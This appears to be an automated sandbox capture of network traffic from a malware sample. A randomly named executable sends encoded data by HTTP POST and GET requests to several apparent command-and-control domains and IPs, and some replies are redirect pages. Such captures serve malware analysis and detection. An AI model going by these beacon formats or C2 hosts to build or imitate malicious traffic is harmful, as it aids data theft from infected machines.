PR_xXrA=+O2xfQVLDeWjYEoe/rDXsqlfcfRv/p3zNiO5XX94gkEECxkCrYNctXobucivBwGZfCM6to1fTHFKT4UmCNeD+R0exYq2anzkqJOnp02F2/NzUePd2eZ9J58qNpuBFWtObkPOEJLPzn8cZJ+VAciIgW37+o0MUchQimuxD0zJsbYjxJRJrLU2QuxSB7oyUWRNn2etTU2cse1H85/HU16kiHbzQvhYgNFUQXceXP89cShREmm376fApQ+KyqIH7rOLjTeXNl9BoWnERuCXZqpm8kbW/YNqeWppHUC2z9BmD3bIIUyYMZ4xwzs1PzqpYEyvvMyb8zhrBc99Gi947CyIwqDA0v/MnABM6jDlCpv2c8Wc3/fGpQUFFVfXVdt+UXFKl0iWOcwEnO1tapsKxTEsZUvJbkceg8lYrwRgdKcw+sudFTFXuJV2WgND5x3eC4YhblJpiHUG2jTvxGoVeEBS78ezf4sG4nK3wWKJMOqF4DD2rD8X5EKSoGuWam0E2p4v4lW5r9u4e1s23Mq9KQcCu8sh88MKIpeG1h0cyc+eTmGMTwp6dNQf4YxboEH3FzGlZgPf7fCmCQ7xMI5cYgdylR8xEBhV1qag1DQcShaahRptAYtfwUpDoFl+MXdCYqPzHTastKFGKmNj1uE8zcgeByDXHvEVdLfaXIQRYQtpPEE+Cvhr3VFjlrLZEXsEeHTGFWR6A0GGIoCTasdCODC8qPhWVkw8L5KxbaGDFp7An6/0UG1kfVW9UXMRt90jKlkcjGkrn/uSOLkJcHgMfTz3kCHOqcfPZVPuwUo32hiGY0eTfpXgazTf//vdMCCpbGG7cNS/9w/xmhhxay5VWkTxH1bKpMxGm42D7yRHg3owN9u8PQqdxX1V28GAR1UX21ONOaocmhQaO8UmrNGrIBY059lp7VFYgH7dzfdMKctDBmLnophvxKfjesCWr7wp7NxCGB/q7gR7sHwzSVskzxaK70hk7dZAaIFytXDWClX8Exr6 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49757	103.248.137.209	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:48.043497086 CEST	507	OUT	GET /5o7d/?PR_xXrA=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&n0=mTk8u4lhzbnhVh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.63582.photo Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:22.517416954 CEST	787	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 33 42 6d 39 69 4d 2b 62 67 30 34 4a 63 4f 6f 76 6e 6a 54 44 50 35 6c 48 2b 66 77 48 55 52 68 67 38 55 4e 31 42 67 6e 6c 49 52 79 6e 66 4b 42 65 50 52 4b 49 38 32 62 4a 77 33 31 36 65 67 5a 67 7a 63 49 53 6f 65 51 44 5a 35 33 36 2b 35 66 30 51 73 68 32 4d 76 67 4f 75 41 30 4e 78 57 44 32 58 69 2f 59 70 79 49 30 34 32 71 54 31 37 2b 31 33 6a 4c 7a 33 31 49 46 53 4d 51 70 53 4b 51 37 6f 62 53 61 49 4a 42 56 36 67 48 52 2b 58 34 31 44 56 63 38 65 69 6d 63 70 4f 48 51 6f 55 57 6e 68 32 66 70 6a 69 57 50 41 4a 4b 77 6e 41 6f 34 55 63 32 6b 4f 67 3d 3d Data Ascii: PR_xXrA=6ogxclRqCtxS3Bm9iM+bg04JcOovnjTDP5lH+fwHURhg8UN1BgnlIRynfKBePRKI82bJw316egZgzcISoeQDZ536+5f0Qsh2MvgOuA0NxWD2Xi/YpyI042qT17+13jLz31IFSMQpSKQ7obSaIJBV6gHR+X41DVc8eimcpOHQoUWnh2fpjiWPAJKwnAo4Uc2kOg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:25.068850040 CEST	807	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 6c 78 57 39 68 76 6d 62 78 6b 34 4b 53 75 6f 76 79 54 54 48 50 35 5a 48 2b 65 30 74 56 6a 31 67 2f 31 39 31 41 69 50 6c 45 78 79 6e 55 71 42 66 52 68 4b 58 38 32 6e 33 77 32 4a 36 65 67 4e 67 7a 65 51 53 6f 70 45 63 59 70 33 38 78 5a 65 79 65 4d 68 32 4d 76 67 4f 75 41 78 6f 78 56 7a 32 4c 43 50 59 72 51 67 37 32 57 71 51 32 37 2b 31 39 44 4c 33 33 31 4a 6f 53 4f 6b 58 53 50 4d 37 6f 66 57 61 5a 34 42 57 6a 51 48 58 36 58 35 69 4c 57 42 6d 57 79 6e 66 6f 4d 47 72 69 58 6d 65 6b 77 4f 7a 79 54 33 59 53 4a 75 44 36 48 68 4d 5a 66 4c 74 56 67 37 63 4d 71 2f 58 46 6b 62 4a 31 54 4b 76 39 75 6e 52 36 62 6f 3d Data Ascii: PR_xXrA=6ogxclRqCtxSlxW9hvmbxk4KSuovyTTHP5ZH+e0tVj1g/191AiPlExynUqBfRhKX82n3w2J6egNgzeQSopEcYp38xZeyeMh2MvgOuAxoxVz2LCPYrQg72WqQ27+19DL331JoSOkXSPM7ofWaZ4BWjQHX6X5iLWBmWynfoMGriXmekwOzyT3YSJuD6HhMZfLtVg7cMq/XFkbJ1TKv9unR6bo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:27.613706112 CEST	10889	OUT	POST /kt2f/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.asiapartnars.online Origin: http://www.asiapartnars.online Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.asiapartnars.online/kt2f/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 36 6f 67 78 63 6c 52 71 43 74 78 53 6c 78 57 39 68 76 6d 62 78 6b 34 4b 53 75 6f 76 79 54 54 48 50 35 5a 48 2b 65 30 74 56 6a 74 67 38 48 31 31 42 45 48 6c 46 78 79 6e 5a 4b 42 61 52 68 4c 4c 38 32 50 37 77 32 45 50 65 6b 39 67 79 2f 77 53 75 62 38 63 54 70 33 38 70 70 66 31 51 73 67 75 4d 72 46 4a 75 44 5a 6f 78 56 7a 32 4c 41 58 59 39 53 49 37 6d 6d 71 54 31 37 2f 36 33 6a 4c 50 33 30 74 57 53 4e 4a 69 54 37 41 37 70 2f 47 61 4b 71 35 57 38 67 48 56 39 58 35 71 4c 57 4d 34 57 79 72 31 6f 4e 6a 6a 69 51 57 65 6d 6c 76 62 67 43 61 4f 4f 49 53 61 6e 31 5a 59 55 4e 76 71 4f 33 7a 7a 63 59 4c 6c 51 48 4c 6c 76 68 37 56 6f 75 50 6d 70 65 62 38 54 2b 2b 50 70 66 41 36 5a 46 70 4e 6c 74 55 42 62 32 41 74 2f 65 4b 35 47 34 5a 37 61 37 42 42 6d 70 75 55 45 6a 72 45 65 67 30 6a 49 32 67 74 34 43 31 4d 49 74 5a 31 7a 39 57 7a 31 33 7a 65 34 6d 31 76 67 6a 34 78 63 6e 51 2b 74 53 30 6b 36 48 45 66 4c 31 58 7a 6f 42 49 4f 44 62 52 79 79 70 69 55 49 6f 41 30 6a 59 31 2b 49 38 5a 42 41 43 [TRUNCATED] Data Ascii: PR_xXrA=6ogxclRqCtxSlxW9hvmbxk4KSuovyTTHP5ZH+e0tVjtg8H11BEHlFxynZKBaRhLL82P7w2EPek9gy/wSub8cTp38ppf1QsguMrFJuDZoxVz2LAXY9SI7mmqT17/63jLP30tWSNJiT7A7p/GaKq5W8gHV9X5qLWM4Wyr1oNjjiQWemlvbgCaOOISan1ZYUNvqO3zzcYLlQHLlvh7VouPmpeb8T++PpfA6ZFpNltUBb2At/eK5G4Z7a7BBmpuUEjrEeg0jI2gt4C1MItZ1z9Wz13ze4m1vgj4xcnQ+tS0k6HEfL1XzoBIODbRyypiUIoA0jY1+I8ZBACWi4m5dWujBkU9GF0P74Qfoe+u8G1w5Y8xEanV7/ljti438HEVIqky2Qy47NhI7Zy5jecn5obLXThuW3y8IseXIyoUP+Mjp8GcHgBRPsLI0ZTgfzuNDWe4Lor2p8LH0cb4EWlBTiX7wfHORArVGi2Q0y6OamLPxNPiK2ovBakbfZA3Bqy2/Pc33visfSDg7vYBUaRmLh63bTnv/e2x4A9Fa2hF1MCk5diFEaNCPkBegQ+zqUNGGLekny8GimGdHwAPQUgTcbjFddpvW48hUimPlbmXlhCI9sRmE2aS0dQfQKnqAqYmle4ALJsp4V3FhK1atgoc8+C0wBQoQuP9q0/38Z0RQTZnoPgcwakJL4AM/3P8ucBprV1mYo12U6zKlIYQh95Z3KwR1YbbQvjDxC2ofC6FJW+A3AsYTeLWKdgQ5ytOPs1EWS5pfKe67mffITAGF7kZeHFMpl3EJi7gXb/M2erkTCMeC9pQQKySCfD7hakmv4Cqq4RHeovaQgtERNJP2/5K8WFtPeDZT0iLm6yWaZ4eyOpE5fIwVRTo3J3TRh6h1kPBZTd+fq7F5uGc329SScRMt5Xs97I4HsmzoeN1QPUCxrv6dje0IqasnZMmPEU4g20Ex1J8BKGdAAW04EOGOILMYiAXk+56yCVjmEiNZ1mYku3wwKi4H [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49761	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:30.189023972 CEST	515	OUT	GET /kt2f/?PR_xXrA=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&n0=mTk8u4lhzbnhVh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.asiapartnars.online Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:48:30.640738964 CEST	401	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 25 Sep 2024 10:48:30 GMT Content-Type: text/html Content-Length: 261 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 50 52 5f 78 58 72 41 3d 33 71 49 52 66 51 6c 2f 41 4b 64 6f 31 6d 79 55 75 4f 48 56 68 31 59 6a 62 5a 41 5a 7a 54 4c 59 5a 34 4e 6d 78 4a 6f 75 5a 44 73 74 38 6e 46 59 47 46 6d 66 4a 6a 7a 71 55 66 6b 36 56 45 6d 4c 38 31 76 35 6f 30 6c 46 5a 68 74 65 35 2b 67 44 78 2b 73 66 46 4a 7a 6e 39 76 32 38 47 2f 4a 32 66 72 39 42 77 41 31 71 77 57 76 39 62 31 32 65 72 43 41 6b 35 33 59 3d 26 6e 30 3d 6d 54 6b 38 75 34 6c 68 7a 62 6e 68 56 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?PR_xXrA=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&n0=mTk8u4lhzbnhVh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:35.869275093 CEST	772	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 33 56 70 65 76 4d 74 50 77 44 53 55 74 71 36 66 74 79 52 55 35 5a 54 33 78 31 50 44 4f 54 67 59 6a 62 59 65 2b 57 66 41 7a 58 33 56 50 56 79 4e 57 65 55 78 59 44 66 47 37 4c 77 7a 42 45 6c 61 61 2f 33 76 35 57 66 72 2b 67 42 62 63 54 31 4e 52 75 31 32 62 4a 57 6b 63 6e 33 46 47 51 70 77 64 79 67 67 6d 6e 75 6e 76 33 48 47 53 68 48 4b 32 77 49 67 49 5a 34 67 68 6b 55 52 57 4f 37 37 71 34 70 77 33 41 6b 4a 4c 66 33 71 61 42 36 34 6e 36 74 46 41 6f 71 4d 2f 52 39 47 35 6a 33 59 78 56 57 66 74 76 6b 37 63 70 56 76 58 53 38 39 37 69 2b 4b 77 3d 3d Data Ascii: PR_xXrA=YTqtiDoowBcpM3VpevMtPwDSUtq6ftyRU5ZT3x1PDOTgYjbYe+WfAzX3VPVyNWeUxYDfG7LwzBElaa/3v5Wfr+gBbcT1NRu12bJWkcn3FGQpwdyggmnunv3HGShHK2wIgIZ4ghkURWO77q4pw3AkJLf3qaB64n6tFAoqM/R9G5j3YxVWftvk7cpVvXS897i+Kw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49763	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:38.423007011 CEST	792	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 57 6c 70 63 4d 30 74 65 41 44 54 58 74 71 36 52 4e 79 56 55 35 46 54 33 77 42 68 44 38 33 67 59 47 2f 59 52 63 75 66 44 7a 58 33 41 2f 56 33 54 6d 65 62 78 59 66 39 47 36 6e 77 7a 42 67 6c 61 65 7a 33 6f 49 57 63 74 2b 67 50 64 63 54 33 4a 52 75 31 32 62 4a 57 6b 59 32 51 46 47 49 70 77 73 43 67 68 45 50 74 37 2f 33 41 53 43 68 48 62 6d 77 4d 67 49 59 62 67 6c 6c 63 52 55 32 37 37 71 49 70 77 6d 41 6e 41 4c 66 78 6c 36 41 30 78 6d 72 37 4e 6a 46 79 42 75 70 7a 48 35 6e 31 55 58 45 4d 4f 63 4f 7a 70 63 4e 6d 79 51 62 49 77 34 66 33 52 79 48 69 69 77 6e 4e 76 32 4e 57 4f 45 77 5a 36 36 4a 44 53 37 77 3d Data Ascii: PR_xXrA=YTqtiDoowBcpMWlpcM0teADTXtq6RNyVU5FT3wBhD83gYG/YRcufDzX3A/V3TmebxYf9G6nwzBglaez3oIWct+gPdcT3JRu12bJWkY2QFGIpwsCghEPt7/3ASChHbmwMgIYbgllcRU277qIpwmAnALfxl6A0xmr7NjFyBupzH5n1UXEMOcOzpcNmyQbIw4f3RyHiiwnNv2NWOEwZ66JDS7w=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49764	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:40.968885899 CEST	10874	OUT	POST /al6z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.linkwave.cloud Origin: http://www.linkwave.cloud Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.linkwave.cloud/al6z/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 59 54 71 74 69 44 6f 6f 77 42 63 70 4d 57 6c 70 63 4d 30 74 65 41 44 54 58 74 71 36 52 4e 79 56 55 35 46 54 33 77 42 68 44 38 2f 67 59 77 7a 59 51 37 36 66 43 7a 58 33 63 76 56 32 54 6d 65 38 78 59 58 35 47 36 36 4e 7a 44 49 6c 61 37 76 33 70 36 75 63 34 4f 67 50 66 63 54 30 4e 52 75 61 32 59 68 53 6b 63 53 51 46 47 49 70 77 76 71 67 6b 6d 6e 74 35 2f 33 48 47 53 68 31 4b 32 77 6b 67 49 42 67 67 6c 68 4d 51 6c 57 37 37 4b 59 70 7a 55 59 6e 63 62 66 7a 78 61 42 70 78 6d 6d 6c 4e 69 70 2b 42 75 4d 59 48 37 37 31 46 44 42 4b 4b 34 2b 49 2f 4b 46 66 70 58 7a 59 37 49 36 30 66 55 6e 4c 69 68 7a 59 34 6c 46 66 4d 45 6f 63 2f 6f 30 49 47 75 6e 72 6b 53 75 4a 61 6d 59 70 30 6b 30 71 53 67 4c 6e 47 70 48 71 4b 5a 73 55 74 63 4a 7a 78 4c 38 59 30 32 31 73 69 31 4c 47 43 41 66 6f 56 6b 78 7a 65 42 49 67 74 59 58 78 57 44 41 42 62 69 4c 64 31 52 33 58 52 69 70 50 73 32 2b 30 55 71 70 36 68 6f 42 62 64 31 31 6d 6f 32 66 74 61 46 37 70 42 6a 56 6e 69 66 49 4f 64 63 6a 49 66 57 62 49 54 4c [TRUNCATED] Data Ascii: PR_xXrA=YTqtiDoowBcpMWlpcM0teADTXtq6RNyVU5FT3wBhD8/gYwzYQ76fCzX3cvV2Tme8xYX5G66NzDIla7v3p6uc4OgPfcT0NRua2YhSkcSQFGIpwvqgkmnt5/3HGSh1K2wkgIBgglhMQlW77KYpzUYncbfzxaBpxmmlNip+BuMYH771FDBKK4+I/KFfpXzY7I60fUnLihzY4lFfMEoc/o0IGunrkSuJamYp0k0qSgLnGpHqKZsUtcJzxL8Y021si1LGCAfoVkxzeBIgtYXxWDABbiLd1R3XRipPs2+0Uqp6hoBbd11mo2ftaF7pBjVnifIOdcjIfWbITLJNuUwMukMIdLwDpnhIffou0rHIqy1pavdljN/QxnrxU/CPxG0a5eLbgnwJvovQcCYnH/Eg1GyU37VhQhD6Em6Z2FMKm+HQmkPBApzSPUr9ZhD525tVMKHXFA9nUJIYTE/y+XntoNBQwtw08Uad/RWCvD4fg3LcDfmh9BN2U5zYKxeg7al3hPzPwr6sNvRQbEKkzcIn8rC0sqiyJ5LTKaLjIEZcuUy7zLQCASoDU+7vt5WowoJyBbBfQ7KHc5xfq8gNOOuVqEqX74gbRDItVDmvcGQWdwPXSfr4dPX2KXnNa8q74SI60BKNuZZ9yebY5qBQ1T5vPNNTWZ5CZSDNMviHFg0wvd+hcPVcSl0cZY9RK6JydX92Yfy1wWhtL7SepO3+lFk1Vv8/97lfYDdTHzYXv21iGIjLTJgpjc0M4GQ89jO+Bk4GCQIUB8Z+0BN8n1O7AJnO31k16Re1AdYDCjuRxe5/aMf2TYssV4QCPEOZRYqr466j3qqOVntVco9BiHDIzQLY3UE1qavhIcYzlClDu7gKL2KrIQ8QWrZJKf4CvEXhOLlLhgxHvbrFhBFULfLJhvSmA3/ZwCNN4Dc6xXqYrmofO+EEVGtBc58kFPTsuqSYZ6loOkyW1kSE9MvBatoNILcy03grqcXEQF96GU1Bbl0S3FCVj4S7 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49765	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:43.515542030 CEST	510	OUT	GET /al6z/?n0=mTk8u4lhzbnhVh&PR_xXrA=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.linkwave.cloud Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:48:43.979209900 CEST	401	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 25 Sep 2024 10:48:43 GMT Content-Type: text/html Content-Length: 261 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6e 30 3d 6d 54 6b 38 75 34 6c 68 7a 62 6e 68 56 68 26 50 52 5f 78 58 72 41 3d 56 52 43 4e 68 30 4e 57 30 47 67 7a 58 6a 4a 39 50 64 6c 57 66 58 57 77 64 50 4b 70 42 76 36 4c 4b 36 67 69 2f 33 31 4f 49 2f 48 4c 56 7a 33 65 64 4c 4f 46 50 67 66 42 57 49 49 46 49 31 79 76 34 4b 6e 48 64 5a 2f 42 79 43 41 64 52 72 4f 77 32 39 43 70 73 38 67 70 64 4d 2b 78 59 54 6d 2f 70 35 30 66 35 64 7a 32 4d 56 51 4d 33 70 71 65 67 47 72 67 34 63 77 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?n0=mTk8u4lhzbnhVh&PR_xXrA=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49766	85.153.138.113	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:49.248893023 CEST	766	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 74 6e 67 58 65 67 70 41 34 64 79 48 31 67 48 31 72 36 56 36 45 4a 50 55 67 71 51 71 34 6c 41 58 66 66 51 62 30 4e 45 54 69 59 53 52 51 79 48 31 34 69 4e 34 4a 70 45 49 78 4f 65 53 6f 75 51 59 6e 35 48 6e 4e 69 46 62 52 49 61 72 65 46 46 73 56 6e 67 4c 32 58 50 46 56 72 6e 47 59 43 51 7a 58 68 63 6b 56 32 77 35 66 46 35 65 4f 58 2b 2f 64 39 36 67 68 36 41 4a 4e 32 4d 68 44 6c 33 70 58 67 4f 76 54 58 70 79 58 2f 46 61 65 52 37 64 44 62 6c 63 64 6c 69 31 36 6a 63 4d 59 72 6a 38 69 57 54 75 58 42 79 41 54 7a 46 59 4b 64 79 78 6c 41 43 6d 42 67 3d 3d Data Ascii: PR_xXrA=qx+IcpUA9j0ptngXegpA4dyH1gH1r6V6EJPUgqQq4lAXffQb0NETiYSRQyH14iN4JpEIxOeSouQYn5HnNiFbRIareFFsVngL2XPFVrnGYCQzXhckV2w5fF5eOX+/d96gh6AJN2MhDl3pXgOvTXpyX/FaeR7dDblcdli16jcMYrj8iWTuXByATzFYKdyxlACmBg==
Sep 25, 2024 12:48:49.969575882 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=865; Domain=.sahibinden.com; Expires=Sat, 25-Sep-2027 10:48:49 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=HltwPNFOWpRBPPYw66f3ea91; Domain=.sahibinden.com; Expires=Sat, 25-Sep-2027 10:48:49 GMT; Path=/; Secure; SameSite=None set-cookie: csss=AtNgR5epvlGLyiE3BFkOnbedPRsfW-VTzUwmBuSSF5ZTf52Nzadk0NHzneFGhCyX9jaSOWc7Drz3vKzMyRB8JA; Domain=.sahibinden.com; Expires=Wed, 25-Sep-2024 11:18:49 GMT; Path=/; Secure; SameSite=None set-cookie: 